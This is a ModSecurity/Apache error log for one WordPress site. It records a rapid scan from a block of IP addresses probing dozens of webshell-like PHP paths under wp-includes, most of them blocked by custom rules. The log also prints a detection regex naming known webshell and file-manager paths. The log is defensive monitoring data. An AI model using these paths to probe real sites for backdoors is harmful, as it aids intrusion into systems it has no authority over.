[Tue Apr 21 20:26:36.494862 2026] [:error] [pid 54080:tid 54103] [client 45.137.126.49:31777] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aeds_IzEbQHHxtmWbaaxsAAAAtU"]
[Tue Apr 21 20:26:37.463492 2026] [:error] [pid 54080:tid 54099] [client 45.137.126.47:24925] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aeds_YzEbQHHxtmWbaaxswAAAtE"]
[Tue Apr 21 20:26:38.441067 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.35:65405] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aeds_jeHLhVUuu8cVXyLAAAAAFI"]
[Tue Apr 21 20:26:39.414965 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.40:58125] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aeds_51ivsR4hcOSQbYYxAAAApU"]
[Tue Apr 21 20:26:40.384729 2026] [:error] [pid 53978:tid 53990] [client 45.137.126.8:21431] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aedtAJ1ivsR4hcOSQbYYxwAAAoo"]
[Tue Apr 21 20:26:41.882359 2026] [:error] [pid 4777:tid 4794] [client 45.137.126.36:31309] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aedtAaxXur6bykKyLZSoAQAAAQY"]
[Tue Apr 21 20:26:43.854048 2026] [:error] [pid 35320:tid 35349] [client 45.137.126.32:39005] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aedtA4JW6fdXWO6agMGyiQAAABM"]
[Tue Apr 21 20:26:45.806982 2026] [:error] [pid 53832:tid 53856] [client 45.137.126.30:61017] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aedtBdzkuxsE_OhM9UJmtwAAAlU"]
[Tue Apr 21 20:26:47.276040 2026] [:error] [pid 53731:tid 53746] [client 45.137.126.24:51475] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aedtB12I9THUR-bRVGxaJgAAAgs"]
[Tue Apr 21 20:26:48.748697 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.20:38299] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aedtCDeHLhVUuu8cVXyLGgAAAEk"]
[Tue Apr 21 20:26:52.667628 2026] [:error] [pid 35321:tid 35389] [client 45.137.126.14:22665] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aedtDDeHLhVUuu8cVXyLMAAAAEU"]
[Tue Apr 21 20:26:54.128436 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.52:55465] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aedtDjeHLhVUuu8cVXyLNgAAAEk"]
[Tue Apr 21 20:26:56.082083 2026] [:error] [pid 53978:tid 54003] [client 45.137.126.44:38535] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aedtEJ1ivsR4hcOSQbYY2gAAApc"]
[Tue Apr 21 20:26:57.557558 2026] [:error] [pid 35321:tid 35386] [client 45.137.126.29:22699] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aedtETeHLhVUuu8cVXyLRQAAAEI"]
[Tue Apr 21 20:27:00.491711 2026] [:error] [pid 53731:tid 53738] [client 45.137.126.16:52513] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aedtFF2I9THUR-bRVGxaQQAAAgM"]
[Tue Apr 21 20:27:02.084687 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.32:30163] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aedtFjeHLhVUuu8cVXyLXwAAAEo"]
[Tue Apr 21 20:27:03.547048 2026] [:error] [pid 35320:tid 35335] [client 45.137.126.6:33443] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aedtF4JW6fdXWO6agMGy2QAAAAU"]
[Tue Apr 21 20:27:04.521338 2026] [:error] [pid 53731:tid 53749] [client 45.137.126.25:25459] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aedtGF2I9THUR-bRVGxaUQAAAg4"]
[Tue Apr 21 20:27:05.491706 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.41:45493] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aedtGYJW6fdXWO6agMGy4AAAAAo"]
[Tue Apr 21 20:27:07.930471 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.51:51079] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aedtG12I9THUR-bRVGxabQAAAgc"]
[Tue Apr 21 20:27:08.910877 2026] [:error] [pid 35321:tid 35395] [client 45.137.126.3:28545] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aedtHDeHLhVUuu8cVXyLaQAAAEs"]
[Tue Apr 21 20:27:09.886838 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.43:23363] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aedtHV2I9THUR-bRVGxaegAAAgc"]
[Tue Apr 21 20:27:15.840987 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.6:29655] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aedtI4JW6fdXWO6agMGzEgAAAA8"]
[Tue Apr 21 20:27:18.291795 2026] [:error] [pid 54080:tid 54101] [client 45.137.126.37:61759] [client 45.137.126.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.37, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aedtJozEbQHHxtmWbaax2AAAAtM"]
[Tue Apr 21 20:27:24.164644 2026] [:error] [pid 54080:tid 54086] [client 45.137.126.37:61759] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aedtLIzEbQHHxtmWbaax5AAAAsQ"]
[Tue Apr 21 20:27:26.136546 2026] [:error] [pid 35321:tid 35404] [client 45.137.126.46:53147] [client 45.137.126.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aedtLjeHLhVUuu8cVXyLkAAAAFQ"]
[Tue Apr 21 20:27:27.118482 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.46:53147] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aedtLzeHLhVUuu8cVXyLlAAAAFI"]
[Tue Apr 21 20:27:32.036596 2026] [:error] [pid 4823:tid 4867] [client 45.137.126.28:20343] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aedtNPc8mke3PfHqsxH7cAAAAY4"]
[Tue Apr 21 20:27:36.959984 2026] [:error] [pid 53731:tid 53760] [client 45.137.126.46:53677] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aedtOF2I9THUR-bRVGxa0wAAAhg"]
[Tue Apr 21 20:27:38.926471 2026] [:error] [pid 53731:tid 53738] [client 45.137.126.24:35435] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aedtOl2I9THUR-bRVGxa2wAAAgM"]
[Tue Apr 21 20:27:41.390431 2026] [:error] [pid 53731:tid 53749] [client 45.137.126.44:27927] [client 45.137.126.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.44, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aedtPV2I9THUR-bRVGxa4QAAAg4"]
[Tue Apr 21 20:27:41.881819 2026] [:error] [pid 53731:tid 53754] [client 45.137.126.44:27927] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aedtPV2I9THUR-bRVGxa4gAAAhI"]
[Tue Apr 21 20:27:51.188550 2026] [:error] [pid 53978:tid 53989] [client 45.137.126.16:43975] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aedtR51ivsR4hcOSQbYZagAAAok"]
[Tue Apr 21 20:27:53.634518 2026] [:error] [pid 53978:tid 53996] [client 45.137.126.53:57427] [client 45.137.126.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aedtSZ1ivsR4hcOSQbYZcwAAApA"]
[Tue Apr 21 20:27:55.589439 2026] [:error] [pid 53978:tid 54003] [client 45.137.126.53:57427] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aedtS51ivsR4hcOSQbYZfAAAApc"]
[Tue Apr 21 20:27:57.048276 2026] [:error] [pid 35321:tid 35401] [client 45.137.126.42:29113] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aedtTTeHLhVUuu8cVXyL4QAAAFE"]
[Tue Apr 21 20:27:58.997304 2026] [:error] [pid 53978:tid 53992] [client 45.137.126.17:38167] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aedtTp1ivsR4hcOSQbYZgQAAAow"]
[Tue Apr 21 20:28:01.459333 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.6:55509] [client 45.137.126.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aedtUYJW6fdXWO6agMGzhQAAAAc"]
[Tue Apr 21 20:28:02.428796 2026] [:error] [pid 53978:tid 53986] [client 45.137.126.20:30165] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aedtUp1ivsR4hcOSQbYZiAAAAoY"]
[Tue Apr 21 20:28:05.856172 2026] [:error] [pid 35320:tid 35349] [client 45.137.126.23:51787] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aedtVYJW6fdXWO6agMGzlQAAABM"]
[Tue Apr 21 20:28:07.322854 2026] [:error] [pid 4823:tid 4853] [client 45.137.126.24:39493] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aedtV_c8mke3PfHqsxH7jwAAAYA"]
[Tue Apr 21 20:28:09.777463 2026] [:error] [pid 54080:tid 54086] [client 45.137.126.25:59519] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aedtWYzEbQHHxtmWbaayAwAAAsQ"]
[Tue Apr 21 20:28:12.237861 2026] [:error] [pid 4777:tid 4800] [client 45.137.126.17:62445] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aedtXKxXur6bykKyLZSoPgAAAQw"]
[Tue Apr 21 20:28:14.199621 2026] [:error] [pid 54080:tid 54089] [client 45.137.126.7:60165] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aedtXozEbQHHxtmWbaayCQAAAsc"]
[Tue Apr 21 20:28:16.648785 2026] [:error] [pid 35320:tid 35334] [client 45.137.126.31:25697] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aedtYIJW6fdXWO6agMGzugAAAAQ"]
[Tue Apr 21 20:28:21.059612 2026] [:error] [pid 4823:tid 4861] [client 45.137.126.12:63769] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aedtZfc8mke3PfHqsxH7mgAAAYg"]
[Tue Apr 21 20:28:22.033371 2026] [:error] [pid 4777:tid 4791] [client 45.137.126.4:23247] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aedtZqxXur6bykKyLZSoQAAAAQM"]
[Tue Apr 21 20:28:23.016362 2026] [:error] [pid 4823:tid 4854] [client 45.137.126.33:48247] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aedtZ_c8mke3PfHqsxH7mwAAAYE"]
[Tue Apr 21 20:28:23.986127 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.32:58413] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aedtZ4JW6fdXWO6agMGz1wAAAA8"]
[Tue Apr 21 20:28:25.456025 2026] [:error] [pid 35321:tid 35398] [client 45.137.126.28:25025] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aedtaTeHLhVUuu8cVXyMGgAAAE4"]
[Tue Apr 21 20:28:26.428140 2026] [:error] [pid 35321:tid 35403] [client 45.137.126.13:30257] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aedtajeHLhVUuu8cVXyMGwAAAFM"]
[Tue Apr 21 20:28:28.392401 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.44:41931] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aedtbDeHLhVUuu8cVXyMJAAAAEk"]
